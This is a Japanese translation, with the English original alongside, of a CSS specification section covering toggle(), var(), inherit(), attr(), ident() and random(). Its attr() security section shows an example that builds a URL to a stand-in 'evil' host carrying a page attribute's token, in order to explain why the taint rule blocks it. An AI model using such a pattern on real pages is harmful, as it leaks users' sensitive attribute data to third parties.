~EACH( 引数 %引数 )
に対し，順に：
</p>
		<ol>
			<li>
%値 ~LET ［
%引数 が %式 を利用している~propの値~全体を成していた
］とするとき，~propの`算出d値$を評価した結果
</li>
			<li>
~IF［
%前回の反復で合致したか ~EQ ~T
］
⇒
~RET %値
</li>
			<li>
~IF［
%初回の反復か ~EQ ~T
］
⇒＃
%初回の反復か ~SET ~F；
%最初の値 ~SET %値
</li>
			<li>
~IF［
%値 ~EQ %式 を利用している~propの`継承d値$
］
⇒
%前回の反復で合致したか ~SET ~T
</li>
		</ol>
	</li>
	<li>
~RET %最初の値
</li>
</ol>
◎
To determine the computed value of toggle(), first evaluate each argument as if it were the sole value of the property in which toggle() is placed to determine the computed value that each represents, called Cn for the n-th argument to toggle(). Then, compare the property’s inherited value with each Cn. For the earliest Cn that matches the inherited value, the computed value of toggle() is Cn+1. If the match was the last argument in the list, or there was no match, the computed value of toggle() is the computed value that the first argument represents.
</div>

<p class="note">注記：
したがって， `toggle$f 内で同じ値が繰返された場合、
~listは短絡されることになる。
例えば， `toggle(1em, 2em, 1em, 4em)^v は、
`toggle(1em, 2em)^v と等価になる。
◎
Note: This means that repeating values in a toggle() short-circuits the list. For example toggle(1em, 2em, 1em, 4em) will be equivalent to toggle(1em, 2em).
</p>

<p class="note">注記：
`toggle$f は，明示的に親の算出d値を調べるので、
継承されない~propであっても働く。
このことは、
継承されない~propに対しても働く `inherit$v ~keywordと類似する。
◎
Note: That toggle() explicitly looks at the computed value of the parent, so it works even on non-inherited properties. This is similar to the inherit keyword, which works even on non-inherited properties.
</p>

<p class="note">注記：
~propの`算出d値$は、
抽象的な［
値たちが成す集合
］であり，特定0の直列化ではない `CSS21$r ので、
算出d値どうしの比較は常に一義的になり，
期待される結果になるべきである。
例えば， `CSS21$r における `background-position$p の算出d値は、
各自が［
絶対~長さ／百分率
］として表現される 2 個の~offsetだけからなるので、［
宣言 <span class="css">`background-position^p: `top center^v</span>
］と［
宣言 <span class="css">`background-position^p: `50% 0%^v</span>
］が生産する算出d値は，一致する。
~prop定義の “算出d値” の欄が何かを［
多義的／厳密~過ぎ
］に定義すると見受けられる場合は、
修正できるよう`~feedback＠#sotd$を供されたし。
◎
Note: That the computed value of a property is an abstract set of values, not a particular serialization [CSS21], so comparison between computed values should always be unambiguous and have the expected result. For example, a Level 2 background-position computed value is just two offsets, each represented as an absolute length or a percentage, so the declarations background-position: top center and background-position: 50% 0% produce identical computed values. If the "Computed Value" line of a property definition seems to define something ambiguous or overly strict, please provide feedback so we can fix it.
</p>

<p>
`toggle$f が`略式~prop$に利用された場合、
その各`下位prop$の値も `toggle$f 値になるが、
その各~引数は，元の `toggle$f 式の各~引数に対し［
それが当の略式~propの値~全体を成していたとするとき，下位propが受取ることになる値
］に設定される。
◎
If toggle() is used on a shorthand property, it sets each of its longhands to a toggle() value with arguments corresponding to what the longhand would have received had each of the original toggle() arguments been the sole value of the shorthand.
</p>

<div class="example">
<p>
次の略式~prop宣言は：
◎
For example, the following shorthand declaration:
</p>

<pre class="lang-css">
margin: toggle(1px 2px, 4px, 1px 5px 4px);
</pre>

<p>
次の下位prop宣言と等価になる：
◎
is equivalent to the following longhand declarations:
</p>

<pre class="lang-css">
margin-top:    toggle(1px, 4px, 1px);
margin-right:  toggle(2px, 4px, 5px);
margin-bottom: toggle(1px, 4px, 4px);
margin-left:   toggle(2px, 4px, 5px);
</pre>

<p>
［
上端~margin／下端~margin
］は、［
`1px^v ／ `4px^v
］が 2 回~現れているので，
2 個の値のみを巡回する。
一方で，［
左端~margin／右端~margin
］は、 3 個の値を巡回することになる。
言い換えれば、
上の宣言から得られる算出d値は，次の下位prop宣言と同じになる：
◎
Note that, since 1px appears twice in the top margin and 4px appears twice in bottom margin, they will cycle between only two values while the left and right margins cycle through three. In other words, the declarations above will yield the same computed values as the longhand declarations below:
</p>

<pre class="lang-css">
margin-top:    toggle(1px, 4px);
margin-right:  toggle(2px, 4px, 5px);
margin-bottom: toggle(1px, 4px);
margin-left:   toggle(2px, 4px, 5px);
</pre>

<p>
その結果は、
意図されるものではなかろう。
◎
which may not be what was intended.
</p>
</div>

		</section>
		<section id="var-notation">
<h3 title="Custom Property References: the var() notation">7.5. ~custom~prop 参照： `var^f 記法</h3>

<p>
`var$f 記法は、
`~custom~prop$の値が`代入-$される
— `CSS-VARIABLES-1$r `§ ~cascade変数の利用-法＠~CSSVAR#using-variables$を見よ。
◎
The var() notation substitutes the value of a custom property, see the CSS Custom Properties for Cascading Variables Module. [CSS-VARIABLES]
</p>

		</section>
		<section id="inherit-notation">
<h3 title="Inherited Value References: the inherit() notation">7.6. 継承d値~参照： `inherit^f 記法</h3>

<p>
`inherit@f
`関数-記法$は、
`inherit$v ~keywordと同様に，親の~prop
— 1 個目の引数に指定された~prop —
の`算出d値$に解決される。
しかしながら、
`算出d値$そのものではなく，それを更に~token化した結果に解決される。
2 個目の引数は、
在るならば，［
1 個目の引数が【`代入-$時に】`無効が保証される値$に解決される事例
］で~fallbackとして利用される。
◎
Like the inherit keyword, the inherit() functional notation resolves to the computed value of a property on the parent. Rather than resolving to the value of the same property, however, it resolves to the tokenized computed value of the property specified as its first argument. Its second argument, if present, is used as a fallback in case the first argument resolves to the guaranteed-invalid value.
</p>

<p>
`inherit$f は`任意-代入~関数$である。
その構文は：
◎
inherit() is an arbitrary substitution function whose syntax is defined as:
</p>

<pre class="prod">
`inherit()@t
	= inherit( `custom-property-name$t, `declaration-value$t? )
</pre>

<div class="algo">
<p>
要素 %要素 に適用される~propの値が包含している
<dfn id="resolve-an-inherit-function">`inherit()$t 関数 %関数 用に`任意-代入~関数を解決する$</dfn>
~algoは：
</p>
<ol>
	<li>
%値 ~LET %要素 の［
%関数 の 1 個目の引数で識別される`~custom~prop$
］の`継承d値$
</li>
	<li>
%結果 ~LET %値 を~token化した結果
</li>
	<li>
%~fallback ~LET ［
%関数 に 2 個目の引数は指定されたならば それ ／
~ELSE_ ε
］
</li>
	<li>
~RET ( %結果, %~fallback )
</li>
</ol>
◎
To resolve an inherit() function, return the inherited value of the custom property specified by the first argument, and (if specified) the fallback specified by the second argument.
</div>

<p class="note">注記：
将来の~levelでは、［
`inherit$f に標準な~CSS~propを指定する
］ことも許容し得る。
しかしながら，それらの~propには［
`算出d値$の~token化が標準~化されていないもの
］もあるので、
その特能は，この~level 5 から先送りされる。
`算出d値$は、
`使用~値$とは相違することに注意
— それは、
`getComputedStyle()$c が返す`解決d値$になるとは限らない。
したがって， `inherit(width)^v が許容されたとしても、
`length$t （ `width$p の使用~値）を返すとは限らない
— `width^p を指定する先祖が無いならば，
~keyword `~autoS$v （ `width^p の初期~値）を返すことになる。
◎
Note: Future levels of CSS may allow specifying standard CSS properties in inherit(); however because the tokenization of computed values is not fully standardized for all CSS properties, this feature is deferred from Level 5. Note that the computed value differs from the used value, and is not always the resolved value returned by getComputedStyle(); thus even if inherit(width) were allowed, it would frequently return the keyword auto, not the used &lt;length&gt;.
</p>

		</section>
		<section id="attr-notation">
<h3 title="Attribute References: the attr() notation">7.7. 属性~参照： `attr^f 記法</h3>

<p>
`attr@f
関数は、［
それを利用している~propが適用される`要素$の ある`属性$
］を参照し，当の`属性$の値が`代入-$される
（ `var$f 関数に`~custom~prop$の値が代入されるのと類似に）。
◎
The attr() function substitutes the value of an attribute on an element into a property, similar to how the var() function substitutes a custom property value into a function.
</p>

<pre class="prod">
`attr()$t
	= attr( `attr-name$t `attr-type$t? , `declaration-value$t? )
`attr-name@t
	= [ `ident-token$t? '|' ]? `ident-token$t
`attr-type@t
	= `type()$t
	| `raw-string^v
	| `attr-unit$t
`type()@t
	= type( `syntax$t )
</pre>

<p>
`attr-unit@t
生成規則は、［
~CSS次元~単位の名前（例： `px$u ）に`~ASCII大小無視$で合致する`~CSS識別子$／
`%^v を .値にとる `delim-token$t
］に合致する。
単位たちが成す集合は時間~越しに拡がるので、
この生成規則は，ここでは~literalに【各~単位を列挙するように】は展開されない。
◎
The &lt;attr-unit&gt; production matches any identifier that is an ASCII case-insensitive match for the name of a CSS dimension unit, such as px, or the &lt;delim-token&gt; %. It is not expanded literally here, as the set of units expands over time.
</p>

<p>
`attr$f を成す各~引数は：
◎
The arguments of attr() are:
</p>
<dl>
	<dt>`attr-name$t</dt>
	<dd>
参照している属性の名前を与える
— それは、
`wq-name$t `SELECTORS-3$r に類似するが、
それを成す最初の成分【名前空間~接頭辞】は，~wildcard【任意の名前空間を表現する `*^v 】をとり得ない。
◎
Gives the name of the attribute being referenced, similar to &lt;wq-name&gt; (from [SELECTORS-3]) but without the possibility of a wildcard prefix.
</dd>
	<dd>
名前空間が指定されなかった場合
（ `attr(foo)^v の様に，識別子だけが与えられた場合）
~NULL名前空間が含意される。
（名前空間を伴う属性は稀なので、
通例的には，これが欲されるものになる。
特に、［
~HTML／~SVG
］には，名前空間を伴う属性は無い。）
◎
If no namespace is specified (just an identifier is given, like attr(foo)), the null namespace is implied. (This is usually what’s desired, as namespaced attributes are rare. In particular, HTML and SVG do not contain namespaced attributes.)＼
</dd>
	<dd>
`属性~選択子$と同じく、
`attr-name$t が文字大小区別かどうかは，文書~言語に依存する。
◎
As with attribute selectors, the case-sensitivity of &lt;attr-name&gt; depends on the document language.
</dd>
	<dd>
`attr-name$t を成す各~成分の合間【すなわち `|^v の前後】には、
空白は許容されない。
◎
Whitespace is not allowed between any of the components of &lt;attr-name&gt;.
</dd>
	<dd>
ある［
要素／疑似要素
］に適用される~propにて利用された `attr$f は、［
当の要素／当の疑似要素の`最終的な出自の要素$【！`出自の要素$】
］の［
所与の名前を伴う属性
］を参照する。
◎
If attr() is used in a property applied to an element, it references the attribute of the given name on that element; if applied to a pseudo-element, the attribute is looked up on the pseudo-element’s originating element.
</dd>

	<dt>`attr-type$t</dt>
	<dd>
当の属性の値を［
この引数に与えた`文法に則って構文解析-$する
］よう指定する。
◎
Specifies how the attribute value is parsed into a CSS value.
</dd>
	<dd>
`type$f 関数として与えられた場合、
当の属性の値【！the value】は，その `syntax$t 引数に則って構文解析され、
結果の~token列が代入される。
構文解析に失敗した場合、
~fallbackが誘発される。
◎
If given as a type() function, the value is parsed according to the &lt;syntax&gt; argument, and substitutes as the resulting tokens. Values that fail to parse according to the syntax trigger fallback.
</dd>
	<dd>
`attr-unit$t 値として与えられた場合、
当の属性の値【！the value】は，まず［
`type(&lt;number&gt;)^v が指定された
］かのように `number$t として構文解析される。
結果の数量-値は、
所与の単位を伴う次元
— あるいは `%^v が与えられた場合は百分率 —
へ転換される。
構文解析に失敗した場合、
~fallbackが誘発される。
◎
If given as an &lt;attr-unit&gt; value, the value is first parsed as if type(&lt;number&gt;) was specified, then the resulting numeric value is turned into a dimension with the corresponding unit, or a percentage if % was given. Values that fail to parse as a &lt;number&gt; trigger fallback.
</dd>
	<dd>
<p>
［
`raw-string^v ~keywordとして与えられた／
省略された
］場合、
当の属性の値は，そのまま~CSS文字列として扱われるようになる
— ~CSS構文解析は（［
~CSS~escape, 空白, ~comment, 等々
］の除去も含めて），まったく遂行されずに。
~fallbackが誘発されるのは、
当の属性が欠落ったときに限られる。
◎
If given as the raw-string keyword, or omitted entirely, it causes the attribute’s literal value to be treated as the value of a CSS string, with no CSS parsing performed at all (including CSS escapes, whitespace removal, comments, etc). No value triggers fallback; only the lack of the attribute entirely does.
</p>

<p class="note">注記：
これは、
構文に `type(*)^v を指定することとは異なる。
`type(*)^v は、
~CSS構文解析を誘発して
（それは、
当の値が妥当に構文解析されることを超える要件を何も課さないが），
その結果を［
`string$t 値ではなく，~token列
］として直に代入する。
◎
Note: This is different from specifying a syntax of type(*), which still triggers CSS parsing (but with no requirements placed on it beyond that it parse validly), and which substitutes the result of that parsing directly as tokens, rather than as a &lt;string&gt; value.
</p>
	</dd>

	<dt>`declaration-value$t</dt>
	<dd>
~fallback値を指定する
— ［
当の属性が欠落った場合／
当の属性の値を指定された型として構文解析することに失敗した場合
］、
当の`attr$f には，この~fallback値が代入されることになる。
◎
Specifies a fallback value for the attr(), which will be substituted instead of the attribute’s value if the attribute is missing or fails to parse as the specified type.
</dd>
	<dd>
<p>
省略された場合の既定の~fallback値は、［
`attr-type$t 引数が省略された場合†は 空~文字列／
~ELSE_ `無効が保証される値$
］になる。
</p>

<p class="trans-note">【†
この条件は精確でないかもしれない
— 精確には `attr$f 関数~用に`任意-代入~関数を解決する~algo＠#resolve-an-attr-function$に従うが，その~algoには不明瞭な所があるので。
】</p>
◎
If the &lt;attr-type&gt; argument is omitted, the fallback defaults to the empty string if omitted; otherwise, it defaults to the guaranteed-invalid value if omitted.
</dd>
</dl>

<p>
~propが包含している各 `attr$f 関数が，どれも構文上は妥当な場合、
~prop全体の文法は，構文解析-時点では妥当であると見做すモノトスル。
構文は、
`attr^f 関数に`代入-$された後の算出d値の時点に限り，検査される。
◎
If a property contains one or more attr() functions, and those functions are syntactically valid, the entire property’s grammar must be assumed to be valid at parse time. It is only syntax-checked at computed-value time, after attr() functions have been substituted.
</p>

<div class="note">
<p>注記：
~fallback値【！既定の値】の型は、
【 `attr-type$t にて】与えられた型と一致する必要は無いことに注意。
一例として、
作者が属性の値を `length$t として扱うよう要求した場合でも，
~fallback値は `auto^v をとり得る
— `width:attr(size type(&lt;length&gt;)【！&lt;length&gt;】, auto)$p
の様に。
◎
Note that the default value need not be of the type given. For instance, if the type required of the attribute by the author is &lt;length&gt;, the default could still be auto, like in width: attr(size &lt;length&gt;, auto);.
</p>
</div>

<div class="example">
<p>
`attr$f を利用して，
~XML~file内の~dataを視覚的に~~説明する例：
◎
This example shows the use of attr() to visually illustrate data in an XML file:
</p>

`attr-notation-1^xCode
</div>

			<section id="attr-substitution">
<h4 title="Attribute Value Substitution: the attr() notation">7.7.1. 属性~値~代入： `attr^f 記法</h4>

<p>
`attr$f は、
`var$f と類似な`任意-代入~関数$であり，
`算出d値$の時点で，それが表現する値で置換される
— `無効が保証される値$を表現する場合、
当の宣言を`算出d値の時点で無効$にすることになる。
◎
attr() is an arbitrary substitution function, similar to var(), and so is replaced with the value it represents (if possible) at computed value time; otherwise, it’s replaced with the guaranteed-invalid value, which will make its declaration invalid at computed-value time.
</p>

<div class="algo">
<p>
要素 %要素 に適用される~propの値が包含している
<dfn id="resolve-an-attr-function">`attr$f 関数 %関数 用に`任意-代入~関数を解決する$</dfn>
~algoは：
◎
To resolve an attr() function:
• Let el be the element that the style containing the attr() function is being applied to.＼
</p>
<ol>
	<li>
%属性~名 ~LET %関数 内に指定された属性の名前
【指定された `attr-name$t を`名前空間と局所~名が成す組＠~CSSNS#expanded-name$に解釈した結果】
◎
Let attr name be the attribute name specified in the function.＼
</li>
	<li>
<p>
%構文 ~LET %関数 内に `syntax$t は［
指定されたならば それ／
省略されたならば ~NULL
］
</p>

<div class="trans-note">
<p>【
`syntax$t 引数は `attr-type$t 引数に更新された（拡張された）が、
この段は，それを反映していない。
%構文 は， `attr-type$t に応じて：
</p>
<ul>
	<li>
`type()$t ならば、
それを成す `syntax$t になるであろう。
</li>
	<li>
`raw-string^v ならば、
~NULL になるであろう。
</li>
	<li>
`attr-unit$t ならば、
%属性~値 が `number$t として構文解析されるよう，
`&lt;number&gt;^v になるであろう
— この場合、
最終的な %結果 も指定された単位を伴うよう変換するべきであろう。】
</li>
</ul>
</div>

◎
Let syntax be the &lt;syntax&gt; specified in the function, or null if it was omitted.＼
</li>
	<li>
%~fallback ~LET %関数 内に `declaration-value$t は［
指定されたならば それ／
省略されたならば ε
］
◎
Let fallback be the &lt;declaration-value&gt;? argument specified in the function, or the guaranteed-invalid value if it was omitted.
</li>
	<li>
%属性~値 ~LET %要素 は名前 %属性~名 を伴う属性を［
有するならば その値 ／
有さないならば ε
］
◎
Let attr value be the value of the attr name attribute on el.
</li>
	<li>
~IF［
%属性~値 ~EQ ε
］
⇒
~RET %構文 に応じて
⇒＃
~NULL ならば ( 空な `string$t, ε ) ／
~ELSE_ ( ε, %~fallback )
◎
If such an attribute does not exist, return an empty CSS string if syntax is null, or the guaranteed-invalid value and fallback otherwise.
</li>
	<li>
<p>
~IF［
%構文 ~EQ ~NULL
］
⇒
~RET ( %属性~値 を値にとる `string$t, ε )
◎
If syntax is null, return a CSS &lt;string&gt; whose value is attr value.
</p>

<p class="note">注記：
この値に対しては、
いかなる種類の［
構文解析／改変
］も遂行されない。
◎
Note: No parsing or modification of any kind is performed on the value.
</p>
	</li>
	<li>
%結果 ~LET `構文~値で構文解析する$( %属性~値, %構文, %要素 )
◎
Parse with a ＊ attr value, with syntax and el.＼
</li>
	<li>
~RET ( %結果, %~fallback )
◎
Return the result and fallback.
</li>
</ol>
</div>

			</section>
			<section id="attr-security">
<h4 title="Security">7.7.2. ~security</h4>

<p>
`attr$f 関数が参照する属性は、
当の~pageにより~style付け用に利用されるものとは決して意図されない，敏感な情報
（例：~page上の~scriptにより利用される~security~token）
を包含するかもしれない。
◎
An attr() function can reference attributes that were never intended by the page to be used for styling, and might contain sensitive information (for example, a security token used by scripts on the page).
</p>

<p>
このことは、
一般には，~~問題ない。
ほとんどの状況下では、
`attr$f を利用しても，［
~pageから情報を抽出して，それを敵対的な主体へ送信する
］ことは困難なので。
例外は、
~URLである。
第三者-主体~CSSが許容される下で、
純粋に~CSSから，ある~URLを任意な属性の値で構築できた場合、
属性~内に格納された情報は，敵対的な主体へ容易に送信できるようになる。
◎
In general, this is fine. It is difficult to use attr() to extract information from a page and send it to a hostile party, in most circumstances. The exception to this is URLs. If a URL can be constructed with the value of an arbitrary attribute, purely from CSS, it can easily send any information stored in attributes to a hostile party, if 3rd-party CSS is allowed at all.
</p>

<p class="trans-note">【
それでも、
~URLを介さずに敏感な情報が漏洩する能性はある
— 例えば、
少なくとも属性~値の長さは，~layoutを通して~scriptから観測-可能になろう。
[`5136$issue]
】</p>

<p>
これに抗して防護するため、
`attr$f により生産された値は，
`attr() に染まっ@
た（ `attr()-tainted^en ）ものと見なされる。
◎
To guard against this, the values produced by an attr() are considered attr()-tainted, as are functions that contain an attr()-tainted value.
</p>

<p>
`任意-代入~関数$の代入~値は、
その代入~値を作成する【`任意-代入~関数を解決する$】際に `attr() に染まっ$た値が孕まれる場合には，
`全体として^em `attr() に染まっ$たものとされる。
◎
The substitution value of an arbitrary substitution function is attr()-tainted as a whole if any attr()-tainted values were involved in creating that substitution value.＼
</p>

<p class="note">注記：
これは、
`登録-済み~custom~prop$の値を代入するときには，`等価な~token列$へ拡張する。
◎
This extends to the equivalent token sequence when substituting values of registered custom properties.
</p>

<p>
`attr() に染まっ$た値を［
`url$t 内に／ `url$t として
］利用している宣言は、
`算出d値の時点で無効$になる。
◎
Using an attr()-tainted value as or in a &lt;url&gt; makes a declaration invalid at computed-value time.
</p>

<div class="example">
<p>
例えば，次に挙げるものは、
いずれも`算出d値の時点で無効$になる：
◎
For example, all of the following are invalid at computed-value time:
</p>
<ul>
	<li>
`background-image: src(attr(foo))$p
⇒
直に利用できない。
◎
background-image: src(attr(foo)); - can’t use it directly.
</li>
	<li>
`background-image: image(attr(foo))$p
⇒
`url$t をとる他の関数~内でも，利用できない。
◎
background-image: image(attr(foo)) - can’t use it in other &lt;url&gt;-taking functions.
</li>
	<li>
`background-image: src(string("http://example.com/evil?token="attr(foo)))$p
⇒
別の関数を通しても，値を “洗浄-” できない。
◎
background-image: src(string("http://example.com/evil?token=" attr(foo))) - can’t "launder" it thru another function.
</li>
	<li>
`--foo:attr(foo)^p 
— `--foo^p は`登録-済み~custom~prop$であり，文字列~構文を伴う【その`構文~文字列$ ~EQ `&lt;string&gt;^l 】とする —
が宣言された下での，
`background-image:src(var(--foo))^p
⇒
別の~propを通しても，値を洗浄できない。
◎
--foo: attr(foo); background-image(src(var(--foo))) (assuming that --foo is a registered custom property with string syntax) - can’t launder the value thru another property, either.
</li>
</ul>

<p>
しかしながら、
他の目的に `attr$f を利用することは，~~問題ない
— その用法が `url^t に`近い^em場合でも：
◎
However, using attr() for other purposes is fine, even if the usage is near a url:
</p>

<ul>
	<li>
`background-image: image("foo.jpg", attr(bgcolor type(&lt;color&gt;)))$p は~~問題ない
— `attr$f が供するものは~fallback色であり，
【1 個目の引数】 `url$t は `attr() に染まっ$てないので。
◎
background-image: image("foo.jpg", attr(bgcolor type(&lt;color&gt;))) is fine; the attr() is providing a fallback color, and the &lt;url&gt; isn’t attr()-tainted.
</li>
</ul>

<p>
ある`~custom~prop$を介して `attr$f を間接的に利用すると、
その代入~値は，全体が `attr() に染まっ$たものとされる：
◎
Using attr() indirectly via a custom property causes attr()-tainting of the whole custom property value:
</p>
<ul>
	<li>
<p>
`background-image: var(--foo)^p は、
`--foo: image("foo.jpg", attr(bgcolor type(&lt;color&gt;)))^p
が宣言されていたなら，`算出d値の時点で無効$になる。
◎
--foo: image("foo.jpg", attr(bgcolor type(&lt;color&gt;))); background-image: var(--foo); is invalid at computed-value time.
</p>

<p class="issue">
~custom~prop値が部分的に染まることについて究明する。
◎
Investigate partial tainting of custom property values.
</p>
	</li>
</ul>
</div>

<p class="note">注記：
この制約を実装するためには、
`attr$f 値から構築された値に対し，~dirty~bit【洗浄されたか否か】を追跡することが要求される
— それらは、
`登録-済み~custom~prop$を介して，全部的に文字列へ解決され得るので、
表出された値を精査するだけには依拠できないので。
非-文字列~型でも、
他の型の値を文字列~化し得る関数
— `string^f【`string＠~CSSCONTENT#funcdef-string$f？】 など —
を介して，これを誘発し得ることに注意：
`--foo:attr(foo type(&lt;number&gt;))^p
が宣言されていたなら，
`background-image:src(string(var(--foo)))^p
も無効になる必要がある。
◎
Note: Implementing this restriction requires tracking a dirty bit on values constructed from attr() values, since they can be fully resolved into a string via registered custom properties, so you can’t rely on just examining the value expression. Note that non-string types can even trigger this, via functions like string() that can stringify other types of values: --foo: attr(foo type(&lt;number&gt;)); background-image: src(string(var(--foo))) needs to be invalid as well.
</p>

			</section>
			<section id="attr-cycles">
<h4 title="Cycles">7.7.3. 循環</h4>

<p>
属性~値は、
`attr$f 関数~その他の`任意-代入~関数$を包含してもヨイ
— それらは、
`構文~値で構文解析する$間に代入される。
これは、
循環依存を生じさせ得る
— 自身を参照rしている属性により／
互いに他を参照rしている複数の属性を通して／
他の`任意-代入~関数$（例： `var$f ）たちが成す組合nを通して。
◎
An attribute value may contain attr() functions, or other arbitrary substitution functions, that are substituted during parse with a ＊. This can cause cyclic dependecies, either by an attribute referring to itself, through multiple attributes referring to each other, or through a combination of other arbitrary substitution functions (e.g. var()).
</p>

<p>
【循環の有無を検査するためには、】
各~要素に対し，［
`CSS-VARIABLES-1$r `§ 循環依存の解決-法＠~CSSVAR#cycles$
にて述べられる~graph
］に当の要素が有する各~属性 %属性 に対応する~nodeを追加した上で、
次に従って，それらを結ぶ辺を追加する：
◎
For each element, add a node for every attribute on that element to the graph described in CSS Variables 1 § 2.3 Resolving Dependency Cycles. Then, for each attribute attrib, add edges as follows:
</p>
<ul>
	<li>
%属性 から %属性 の値を成す各 `attr$f により参照される属性へ辺で結ぶ。
◎
From attrib to any attributes referenced by attr() within attrib’s value.
</li>
	<li>
%属性 から %属性 の値を成す各 `var$f により参照される`~custom~prop$へ辺で結ぶ。
◎
From attrib to any custom properties referenced by var() within attrib’s value.
</li>
	<li>
【要素~上の】
各`~custom~prop$のうち［
`attr$f を利用して %属性 を参照するもの
］から %属性 へ辺で結ぶ。
◎
From any custom property that references attrib using attr() to attrib.
</li>
</ul>

<p>
ある`宣言$が包含している `attr$f が，この~graphにおいて循環の一部を成す属性を参照している場合、
当の宣言は`算出d値の時点で無効$になる。
◎
An attr() referencing an attribute which is part of a cycle makes the containing declaration invalid at computed-value time.
</p>

<div class="example">
<p>
次における `width^p は、
`算出d値の時点で無効$になる
— そこでの `attr$f は、
自身を参照rする値を代入するよう試行するので：
◎
In the following, width is invalid at computed-value time, because attr() tries to substitute a value which refers to itself:
</p>

<pre class="lang-css">
div {
  width: attr(data-foo type(*));
}
</pre>

<pre class="lang-html">
&lt;div data-foo="attr(data-foo type(*))"&gt;&lt;/div&gt;
</pre>

<p class="note">注記：
いずれかの `attr$f 関数が~fallback値を有していた場合でも、
結果は同じになる。
◎
Note: Even if one (or both) of the attr() functions had a fallback, the result would be the same.
</p>
</div>

<div class="example">
<p>
循環は、
`~custom~prop$を通して生じることもある。
次における `--x^p, `--y^p は、
どちらも`算出d値の時点で無効$になる：
◎
Cycles can occur through custom properties; in the following, --x and --y are both invalid at computed-value time:
</p>

<pre class="lang-css">
div {
  --x: var(--y);
  --y: attr(data-foo type(*));
}
</pre>

<pre class="lang-html">
&lt;div data-foo="var(--x)"&gt;&lt;/div&gt;
</pre>
</div>


			</section>
		</section>
		<section id="ident">
<h3 title="Constructing &lt;custom-ident&gt; values: the ident() function">7.8. `custom-ident^t 値の構築-法： `ident^f 関数</h3>

<p>
`ident@f
関数は、
`ident$t を表現する
— それは、
いくつかの部分から `custom-ident$t 値を手動で構築するために利用できる。
◎
The ident() function represents an &lt;ident&gt;, and can be used to manually construct &lt;custom-ident&gt; values from several parts.
</p>

<pre class="prod">
`ident()@t
	= ident( `ident-arg$t+ )
`ident-arg@t
	= `string$t
	| `integer$t
	| `ident$t
</pre>

<p class="issue">
~fallback値を許容するべきか？
[`11424$issue]
◎
Should we allow a fallback value? [w3c/csswg-drafts Issue #11424]
</p>

<p>
`ident$f 関数は、
`custom-ident$t を受容する どの［
~prop／関数~引数
］用の値としても利用できる。
◎
The ident() function can be used as a value for any property or function argument that accepts a &lt;custom-ident&gt;.
</p>

<div class="example">
<p>
次の例では、
`.item^css に合致した各~要素は，
`view-timeline-name$p 【！#typedef-view-timeline-name】用の一意な値を `vtl-<var>番号</var>^l の形式で取得する。
%番号 は、
`sibling-index$f を利用して生成される。
◎
In the following example, each matched element gets a unique &lt;'view-timeline-name'&gt; in the format of "vtl-number". The number is generated using sibling-index().
</p>

<pre class="lang-css">
.item {
  /* vtl-1, vtl-2, vtl-3, … */
  view-timeline-name: ident("vtl-" sibling-index());
}
</pre>
</div>

<p>
多くの事例では，［
`attr-type$t が <code class="value">type(`custom-ident$t)</code> に設定された `attr$f
］で用を成すが、
`ident$f を利用すれば，他の要素から来る値を利用して `custom-ident$t を構築できる。
◎
While in many cases attr() with the &lt;attr-type&gt; set to type(&lt;custom-ident&gt;) will do, ident() can be used to construct a &lt;custom-ident&gt; using values that come from other elements.
</p>

<div class="example">
<p>
次の例では、
【入子にされた `h1^css における】 `ident$f 関数は，親【精確には先祖】に定義された~custom~propを【継承を通して】利用する。
◎
In the following example, the ident() function uses a custom property which is defined on a parent.
</p>

<pre class="lang-css">
.card[id] {
  /* <span class="comment">
例： `card1^v, `card2^v, `card3^v, … 
◎
E.g. card1, card2, card3, … 
</span> */
  --id: attr(id);

  view-transition-name: ident(var(--id));
  view-transition-class: card;

  h1 {
    /* <span class="comment">
例： `card1-title^v, `card2-title^v, `card3-title^v, … 
◎
E.g. card1-title, card2-title, card3-title, …
</span> */
    view-transition-name: ident(var(--id) "-title");
    view-transition-class: card-title;
  }
}
</pre>
</div>

<div class="example">
<p>
最初の引数として `--^l を与えれば、
`dashed-ident$t を生成するようになる。
◎
To generate a &lt;dashed-ident&gt;, put "--" as the first argument.
</p>

<pre class="lang-css">
.element {
  anchor-name: ident("--" attr(id));
}
</pre>
</div>

		</section>
	</section>
	<section id="randomness">
<h2 title="Generating Random Values">8. ~random値の生成-法</h2>

<p>
設計に ある程度の “~random性” を組入れると有用になることが多い
— 同じ~page内で繰返される要素に多少の “ゆらぎ” が感じられるようにしたり，
~pageに気が散らないほどの “華を添える” ために。
◎
It is often useful to incorporate some degree of "randomness" to a design, either to make repeated elements on a page feel less static and identical, or just to add a bit of "flair" to a page without being distracting.
</p>

<p>
`~random関数@
と総称される［
`random$f, `random-item$f
］関数は、
作者が［
自身の~pageの中へ~random性を組入れる
］ことを許容する
— それは、［
この~random性を設計~視点からは予測-可能に保つ
］一方で，
~random値を［
複数箇所で再利用するべきか，~instanceごとに一意になるべきか
］は作者が裁定できるようにする。
◎
The random() and random-item() functions (the random functions) allow authors to incorporate randomness into their page, while keeping this randomness predictable from a design perspective, letting authors decide whether a random value should be reused in several places or be unique between instances.
</p>

<p>
~randomな数nを生成する正確な手法は、
~UAにより定義される。
2 つの別個な~random値の相関は，容易に検出-可能になる`べきではない^emが、
この仕様は，［
それが暗号-強度の用語で何を意味するか
］は意図的に指定しない。
作者は、
高品質な暗号に依存する目的においては，
`~random関数$に依拠しては`ナラナイ^em。
◎
The exact random-number generation method is UA-defined. It should be the case that two distinct random values have no easily-detectable correlation, but this specification intentionally does not specify what that means in terms of cryptographic strength. Authors must not rely on random functions for any purposes that depend on quality cryptography.
</p>

		<section id="random">
<h3 title="Generating a Random Numeric Value: the random() function">8.1. ~randomな数量-値の生成-法： `random^f 関数</h3>

<p>
`random@f
関数は、
`~math関数$であり，
ある範囲内で一様に分布する~randomな値を表現する†。
それはまた、
任意選択で，アリな値を［
最小~値からの差が，ある段差の整数倍になる
］よう制限できる。
その構文は：
◎
The random() function is a math function that represents a random value between a minimum and maximum value, drawn from a uniform distribution, optionally limiting the possible values to a step between those limits:
</p>

<p class="trans-note">【†
以下、
この節に現れる~randomは，
常に一様に分布する（すべての値は、同じ~~確率で選ばれる）ものと見做される。
】</p>

<pre class="prod">
`random()^t
	= random(
		`random-value-sharing$t?,
		`calc-sum$t,
		`calc-sum$t,
		`calc-sum$t? )

`random-value-sharing@t
	= [ [ `auto$v | `dashed-ident$tv ] || `match-element$v ]
	| `fixed$v `number [0,1]$t
</pre>

<p>
この関数が どう評価されるかについての詳細は、［
`§ ~random値の評価-法＠#random-evaluation$,
`§ ~random値の~cache法＠#random-caching$
］を見よ。
◎
